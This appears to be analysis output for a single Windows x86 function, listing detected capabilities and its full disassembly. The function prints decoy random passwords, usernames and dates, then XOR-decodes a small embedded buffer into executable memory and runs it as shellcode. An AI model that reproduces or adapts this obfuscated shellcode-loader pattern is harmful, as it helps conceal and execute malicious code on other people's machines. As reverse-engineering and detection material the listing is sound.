Function at 0x401080
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 9
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
jne 0x4010af
push str.Memory_allocation_failed._n
call fcn.00401010
add esp, 4
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
add esp, 8
xor esi, esi
nop dword [eax]
call ebx
cdq
mov ecx, 0x3e
idiv ecx
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789]
mov byte [esi + edi], al
inc esi
cmp esi, 8
jl 0x4010d0
push edi
push str.Generated_Password:__s_n
mov byte [edi + 8], 0
call fcn.00401010
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push str.Executing_shellcode..._n
call fcn.00401010
add esp, 0x10
push 0x40
push 0x1000
push 0xf
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x40113d
push str.Error_allocating_memory_for_shellcode._n
call fcn.00401010
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.hello
call fcn.00401010
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
xor esi, esi
push 0
call edi
mov al, byte [esi + 0x404018]
add al, 3
push esi
push 0x40323c
mov byte [esi + 0x404394], al
call fcn.00401010
inc esi
add esp, 8
cmp esi, 0xf
jb 0x401152
xor eax, eax
nop word [eax + eax]
xor byte [eax + 0x404018], 0x42
inc eax
cmp eax, 0xe
jb 0x401180
mov esi, 0x31
push 0
call edi
sub esi, 1
jne 0x401192
nop dword [eax + eax]
mov eax, esi
imul eax, esi
push eax
push 0x403240
call fcn.00401010
inc esi
add esp, 8
cmp esi, 0x64
jl 0x4011a0
push 0xf
push 0xf
push 0xf
push str._d__d__d
call fcn.00401010
add esp, 0x10
xor esi, esi
nop
push 0
call edi
mov al, byte [esi + 0x404394]
sub al, 3
push esi
push 0x40323c
mov byte [esi + 0x404384], al
call fcn.00401010
inc esi
add esp, 8
cmp esi, 0xf
jb 0x4011d0
push 0x403250
call fcn.00401010
push 0xf
push 0xf
push 0xf
push str._d__d__d
call fcn.00401010
push str.Generated_usernames:_n
call fcn.00401010
add esp, 0x18
mov dword [ebp - 4], 0
push 9
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x40109a
xor esi, esi
nop dword [eax + eax]
call ebx
xor edx, edx
mov ecx, 0x3e
div ecx
mov al, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [esi + edi], al
inc esi
cmp esi, 8
jl 0x401240
push edi
push 0x40326c
mov byte [edi + 8], 0
call fcn.00401010
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, dword [ebp - 4]
add esp, 0xc
inc esi
mov dword [ebp - 4], esi
cmp esi, 0xb
jl 0x401224
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
push str.Generated_Dates:_n
call fcn.00401010
add esp, 0xc
mov dword [ebp - 8], 0
mov esi, 0x16
call ebx
cdq
idiv esi
lea edi, [edx + 0x7d0]
mov dword [ebp - 0xc], edi
call ebx
cdq
mov ecx, 0xc
idiv ecx
lea esi, [edx + 1]
cmp esi, 2
jne 0x401322
mov eax, edi
and eax, 0x80000003
jns 0x4012d7
dec eax
or eax, 0xfffffffc
add eax, 1
jne 0x4012f3
mov eax, 0x51eb851f
mov ecx, edi
imul edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x64
sub ecx, eax
jne 0x401310
mov eax, 0x51eb851f
mov ecx, edi
imul edi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x190
sub ecx, eax
jne 0x401319
call ebx
mov ecx, 0x1d
jmp 0x401346
call ebx
mov ecx, 0x1c
jmp 0x401346
cmp esi, 4
je 0x40133f
cmp esi, 6
je 0x40133f
cmp esi, 9
je 0x40133f
cmp esi, 0xb
je 0x40133f
call ebx
mov ecx, 0x1f
jmp 0x401346
call ebx
mov ecx, 0x1e
cdq
idiv ecx
push 0xb
mov dword [ebp - 4], edx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x40109a
push dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
push esi
inc ecx
push ecx
push str._02d__02d__04d
push edi
call fcn.00401040
push edi
push 0x40326c
call fcn.00401010
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [ebp - 8]
add esp, 0x20
inc eax
mov esi, 0x16
mov dword [ebp - 8], eax
cmp eax, 0xc
jl 0x4012a7
xor eax, eax
xor byte [eax + 0x404018], 0x4b
inc eax
cmp eax, 0xe
jb 0x4013a1
mov ebx, dword [ebp - 0x10]
movq xmm0, qword [0x404018]
movq qword [ebx], xmm0
mov eax, dword [0x404020]
mov dword [ebx + 8], eax
mov ax, word [0x404024]
mov word [ebx + 0xc], ax
mov al, byte [0x404026]
mov byte [ebx + 0xe], al
call ebx
push str.Shellcode_execution_complete._n
call fcn.00401010
add esp, 4
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret